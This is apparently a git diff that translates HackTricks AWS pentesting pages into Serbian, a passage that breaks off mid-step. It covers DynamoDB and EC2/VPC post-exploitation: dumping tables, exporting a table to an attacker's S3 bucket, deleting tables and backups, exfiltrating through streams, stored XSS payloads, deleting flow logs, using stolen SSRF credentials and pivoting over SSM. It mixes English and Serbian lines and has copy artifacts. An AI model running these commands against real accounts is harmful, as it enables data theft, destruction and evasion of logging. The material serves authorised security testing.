"ExcludeBootVolume": false
|
||||
}
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,342 +12,292 @@ For more information check:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
|
||||
Napadač sa ovim dozvolama će moći da **dobije stavke iz tabela po primarnom ključu** (ne možete jednostavno tražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (to možete dobiti dobijanjem metapodataka tabele (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb batch-get-item --request-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
"ProductCatalog" : { // This is the table name
|
||||
"Keys": [
|
||||
{
|
||||
"Id" : { // Primary keys name
|
||||
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb batch-get-item \
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
|
||||
|
||||
**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"N": "205"
|
||||
"N": "205"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
With this permission it's also possible to use the **`transact-get-items`** method like:
|
||||
|
||||
Sa ovom dozvolom je takođe moguće koristiti metodu **`transact-get-items`** kao:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
--transact-items file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
[
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
{
|
||||
"Get": {
|
||||
"Key": {
|
||||
"Id": {"N": "205"}
|
||||
},
|
||||
"TableName": "ProductCatalog"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
|
||||
**Slično prethodnim dozvolama** ova omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koje mora biti prisutno) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
|
||||
|
||||
// With a.json
|
||||
{
|
||||
// With a.json
|
||||
{
|
||||
"Id" : {
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
"ComparisonOperator":"EQ",
|
||||
"AttributeValueList": [ {"N": "205"} ]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="inline" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb query \
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--key-condition-expression "AttributeName = :value" \
|
||||
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
You can use this permission to **dump the entire table easily**.
|
||||
|
||||
Možete koristiti ovu dozvolu da **lako izbacite celu tabelu**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
You can use this permission to **dump the entire table easily**.
|
||||
|
||||
Možete koristiti ovu dozvolu da **lako izvučete celu tabelu**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
|
||||
This permission also allow to perform `batch-execute-statement` like:
|
||||
|
||||
Ova dozvola takođe omogućava izvršavanje `batch-execute-statement` kao:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ali morate da navedete primarni ključ sa vrednošću, tako da nije toliko korisno.
|
||||
|
||||
but you need to specify the primary key with a value, so it isn't that useful.
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
|
||||
|
||||
Ova dozvola će omogućiti napadaču da **izveze celu tabelu u S3 kantu** po njegovom izboru:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
--s3-bucket <attacker_s3_bucket> \
|
||||
--s3-prefix <optional_prefix> \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
|
||||
|
||||
Napomena da za ovo da bi radilo, tabela treba da ima omogućenu point-in-time-recovery, možete proveriti da li tabela to ima sa:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
--table-name <tablename>
|
||||
```
|
||||
|
||||
If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
|
||||
|
||||
Ako nije omogućeno, moraćete da **omogućite** to, a za to vam je potrebna **`dynamodb:ExportTableToPointInTime`** dozvola:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
|
||||
|
||||
Sa ovim dozvolama, napadač bi mogao da **napravi novu tabelu iz rezervne kopije** (ili čak da napravi rezervnu kopiju koju bi zatim obnovio u drugoj tabeli). Zatim, sa potrebnim dozvolama, mogao bi da proveri **informacije** iz rezervnih kopija koje **više ne bi mogle biti u produkcijskoj** tabeli.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
|
||||
**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
|
||||
Ova dozvola omogućava korisnicima da dodaju **novi predmet u tabelu ili zamene postojeći predmet** novim predmetom. Ako predmet sa istim primarnim ključem već postoji, **ceo predmet će biti zamenjen** novim predmetom. Ako primarni ključ ne postoji, novi predmet sa navedenim primarnim ključem će biti **kreiran**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
```bash
|
||||
## Create new item with XSS payload
|
||||
aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
### With add.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
},
|
||||
"Name": {
|
||||
"S": "Marc"
|
||||
},
|
||||
"Description": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
{{#tab name="AI Primer" }}
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**Potencijalni uticaj:** Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
|
||||
Ova dozvola omogućava korisnicima da **modifikuju postojeće atribute stavke ili dodaju nove atribute stavci**. Ona **ne zamenjuje** celu stavku; samo ažurira specificirane atribute. Ako primarni ključ ne postoji u tabeli, operacija će **napraviti novu stavku** sa specificiranim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
### With key.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
}
|
||||
### and val.json
|
||||
{
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
{{#tab name="AI Primer" }}
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**Potencijalni uticaj:** Iskorišćavanje daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB table, causing data loss**.
|
||||
|
||||
Napadač sa ovom dozvolom može **izbrisati DynamoDB tabelu, uzrokujući gubitak podataka**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and disruption of services relying on the deleted table.
|
||||
**Potencijalni uticaj**: Gubitak podataka i prekid usluga koje se oslanjaju na obrisanu tabelu.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.
|
||||
|
||||
Napadač sa ovom dozvolom može **obrisati DynamoDB rezervnu kopiju, potencijalno uzrokujući gubitak podataka u slučaju scenarija oporavka od katastrofe**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.
|
||||
**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if this actually works
|
||||
> TODO: Testirati da li ovo zapravo funkcioniše
|
||||
|
||||
An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da prati i exfiltrira promene podataka, što može dovesti do curenja podataka.
|
||||
|
||||
1. Omogućiti stream na DynamoDB tabeli:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
2. Describe the stream to obtain the ARN and other details:
|
||||
|
||||
2. Opišite tok za dobijanje ARN-a i drugih detalja:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
3. Get the shard iterator using the stream ARN:
|
||||
|
||||
3. Dobijte shard iterator koristeći stream ARN:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
4. Use the shard iterator to access and exfiltrate data from the stream:
|
||||
|
||||
4. Koristite shard iterator za pristup i eksfiltraciju podataka iz struje:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
|
||||
**Potencijalni uticaj**: Praćenje u realnom vremenu i curenje podataka o promenama u DynamoDB tabeli.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,10 @@ For more information check:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
|
||||
An attacker could abuse this to capture all the traffic and obtain sensitive information from it:
|
||||
VPC traffic mirroring **duplira ulazni i izlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) radi analize i nadgledanja.\
|
||||
Napadač bi mogao da iskoristi ovo da uhvati sav saobraćaj i dobije osetljive informacije iz njega:
|
||||
|
||||
For more information check this page:
|
||||
Za više informacija pogledajte ovu stranicu:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,8 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
|
||||
Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i na vašem vlastitom nalogu) iz nje**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
**Snapshot-i su rezervne kopije volumena**, koje obično sadrže **osetljive informacije**, stoga njihovo proveravanje treba da otkrije ove informacije.\
|
||||
Ako pronađete **volumen bez snapshot-a**, možete: **Kreirati snapshot** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -62,197 +60,178 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, još uvek može **da exfiltrira putem DNS-a**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- **VPC Flow Logs neće ovo zabeležiti**.
|
||||
- Nemate pristup AWS DNS logovima.
|
||||
- Onemogućite ovo postavljanjem "enableDnsSupport" na false sa:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
Napadač bi mogao da pozove API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
You could get further access to network services by opening ports like this:
|
||||
|
||||
Možete dobiti dalji pristup mrežnim uslugama otvaranjem portova na sledeći način:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
|
||||
### Privesc to ECS
|
||||
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje u pokretanju ECS instanci, a zatim ukrasti podatke iz ECS instanci.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
Za [**više informacija proverite ovo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Ukloni VPC tok logove
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
|
||||
One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
|
||||
Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može zloupotrebiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster.
|
||||
|
||||
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Install the SessionManagerPlugin on your machine
|
||||
2. Log in to the Bastion EC2 using the following command:
|
||||
> Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Instalirajte SessionManagerPlugin na vašem računaru
|
||||
2. Prijavite se na Bastion EC2 koristeći sledeću komandu:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
|
||||
3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile
|
||||
5. Log in to EKS as the Bastion EC2:
|
||||
|
||||
3. Dobijte privremene akreditive za Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skripte
|
||||
4. Prenesite akreditive na svoju mašinu u `$HOME/.aws/credentials` datoteci kao `[bastion-ec2]` profil
|
||||
5. Prijavite se na EKS kao Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
|
||||
6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost`
|
||||
7. Create an SSM tunnel as follows:
|
||||
|
||||
6. Ažurirajte polje `server` u datoteci `$HOME/.kube/config` da pokazuje na `https://localhost`
|
||||
7. Kreirajte SSM tunel na sledeći način:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
|
||||
8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running:
|
||||
|
||||
